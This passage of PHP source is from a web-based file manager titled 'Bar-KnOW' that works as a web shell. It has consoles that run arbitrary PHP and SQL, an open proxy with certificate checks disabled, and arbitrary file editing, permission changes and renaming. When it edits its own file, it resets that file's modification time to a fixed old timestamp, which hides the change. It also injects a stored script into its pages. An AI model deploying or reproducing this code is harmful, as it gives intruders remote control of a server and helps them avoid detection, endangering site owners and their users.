'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
<input type="submit" value="'.__('Show').'" class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
echo $result;
die();
}
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Bar-KnOW</title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
background-image: url("data:image/png;base64,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");
}
.file {
background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' : $_POST['sql'];
$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' : $_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo '</h2></td><td>'.fm_run_input('sql');
?></td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
<form action="" method="POST" name="console">
<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
<input type="reset" value="<?=__('Reset')?>">
<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
$select .= '<option value="-1">' . __('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
?>
</form>
</td>
</tr>
</table>
<?php
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
else $msg_ntimes .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
<th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
<td class="row1">
<?=$msg_ntimes?>
</td>
</tr>
<tr>
<td class="row1">
<?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$editlink?>">
<textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
<input type="submit" name="save" value="<?=__('Submit')?>">
<input type="submit" name="cancel" value="<?=__('Cancel')?>">
</form>
</td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
$msg_ntimes .= (__('File updated'));
else $msg_ntimes .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
$link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg_ntimes?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
<input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
<?php } ?>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
$msg_ntimes .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
